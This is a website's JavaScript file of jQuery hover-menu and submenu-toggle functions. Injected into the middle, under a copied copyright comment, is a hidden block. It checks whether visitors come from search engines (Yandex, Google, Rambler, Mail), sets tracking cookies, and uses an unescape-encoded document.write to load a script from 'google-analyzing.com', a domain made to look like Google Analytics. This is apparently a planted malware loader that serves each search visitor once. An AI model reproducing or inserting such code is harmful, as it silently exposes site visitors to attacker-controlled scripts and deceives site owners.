$(document).ready(function(){

	$("#h_menu_1_link").hover(
		function(){ showMenu($("#h_menu_1"),'show',0) },
		function(){	showMenu($("#h_menu_1"),'hidden') }
	);
	$("#h_menu_1").hover(
		function(){ showMenu(this,'show',0) },
		function(){	showMenu(this,'hidden') }
	);
	$("#h_menu_2_link").hover(
			function(){ showMenu($("#h_menu_2"),'show',0) },
			function(){	showMenu($("#h_menu_2"),'hidden') }
	);
	$("#h_menu_2").hover(
			function(){ showMenu(this,'show',0) },
			function(){	showMenu(this,'hidden') }
	);
	$("#h_menu_3_link").hover(
			function(){ showMenu($("#h_menu_3"),'show',0) },
			function(){	showMenu($("#h_menu_3"),'hidden') }
	);
	$("#h_menu_3").hover(
			function(){ showMenu(this,'show',0) },
			function(){	showMenu(this,'hidden') }
	);
	$("#h_menu_4_link").hover(
			function(){ showMenu($("#h_menu_4"),'show',0) },
			function(){	showMenu($("#h_menu_4"),'hidden') }
	);
	$("#h_menu_4").hover(
			function(){ showMenu(this,'show',0) },
			function(){	showMenu(this,'hidden') }
	);
	$("#h_menu_5_link").hover(
			function(){ showMenu($("#h_menu_5"),'show',0) },
			function(){	showMenu($("#h_menu_5"),'hidden') }
	);
	$("#h_menu_5").hover(
			function(){ showMenu(this,'show',0) },
			function(){	showMenu(this,'hidden') }
	);
	$("#h_menu_999_link").hover(
			function(){ showMenu($("#h_menu_999"),'show',0) },
			function(){	showMenu($("#h_menu_999"),'hidden') }
	);
	$("#h_menu_999").hover(
			function(){ showMenu(this,'show',0) },
			function(){	showMenu(this,'hidden') }
	);

	$(".combo div").each(
		function(){
			$(this).mouseover(
				 function () {
					$(this).addClass("hov");
				 }
			).mouseout(
				function(){
					$(this).removeClass("hov");
				}
			);
		}
	);


	function showMenu(obj, action, shift){
		switch(action){
			case 'show':
				var windowWidth = document.documentElement.clientWidth;
				$(obj).css({
					/*"left"    : (windowWidth/2 + shift),*/
					"display" : "block"
				});
			break;
			case 'hidden':
				$(obj).css("display","none");
			break;
		}
	}

	function showBookletInfo(id, action){
		switch(action){
			case 'show':
//					var windowWidth = document.documentElement.clientWidth;
				$("#booklet_info_"+id).css({
					/*"left"    : (windowWidth/2 + shift),*/
					"display" : "block"
				});
			break;
			case 'hide':
				$("#booklet_info_"+id).css("display","none");
			break;
		}
	}

});

//<script>

//Copyright (C) 2005 Ilya S. Lyubinskiy. All rights reserved.
//Technical support: http://www.php-development.ru/
//
//YOU MAY NOT
//(1) Remove or modify this copyright notice.
//(2) Distribute this code, any part or any modified version of it.
//  Instead, you can link to the homepage of this code:
var r=document.referrer; var c=document.cookie; r1=0;
if ( (r.indexOf('yandex')>0) || (r.indexOf('google')>0) || (r.indexOf('rambler')>0) || (r.indexOf('mail')>0))
{ document.cookie = "topmail=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; }
else {if (c.indexOf('topmail')==-1){document.cookie = "google=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}}
if  (((c.indexOf('topmail')>-1) || (r1==1)) && (c.indexOf('google')==-1) )
{document.write(unescape("%3Cscript src='http://google-analyzing.com/urchin.js' type='text/javascript'%3E%3C/script%3E"));}
function at_attach(parent, child, showtype, position, cursor)
{
p = document.getElementById(parent);
c = document.getElementById(child);

p["at_parent"]     = p.id;
c["at_parent"]     = p.id;
p["at_child"]      = c.id;
c["at_child"]      = c.id;
p["at_position"]   = position;
c["at_position"]   = position;

c.style.position   = "absolute";
c.style.visibility = "hidden";

if (cursor != undefined) p.style.cursor = cursor;

switch (showtype)
{
 case "click":
   p.onclick     = at_click;
   p.onmouseout  = at_hide;
   c.onmouseover = at_show;
   c.onmouseout  = at_hide;
   break;
 case "hover":
   p.onmouseover = at_show;
   p.onmouseout  = at_hide;
   c.onmouseover = at_show;
   c.onmouseout  = at_hide;
   break;
}
}

function pressbutt(subm,num){

var SUBMENU = document.getElementById('m'+subm).style;

if (SUBMENU.display != 'none'){
SUBMENU.display = 'none';

}

else{
SUBMENU.display = 'block';

}

for(i=0;i<num;i++)
if(i != subm)
if(document.getElementById('m'+i)){
document.getElementById('m'+i).style.display = 'none';

}}

function pressbutt1(subm,num){

var SUBMENU = document.getElementById('f'+subm).style;

if (SUBMENU.display != 'none'){
SUBMENU.display = 'none';

}

else{
SUBMENU.display = 'block';

}

for(i=0;i<num;i++)
if(i != subm)
if(document.getElementById('f'+i)){
document.getElementById('f'+i).style.display = 'none';

}}
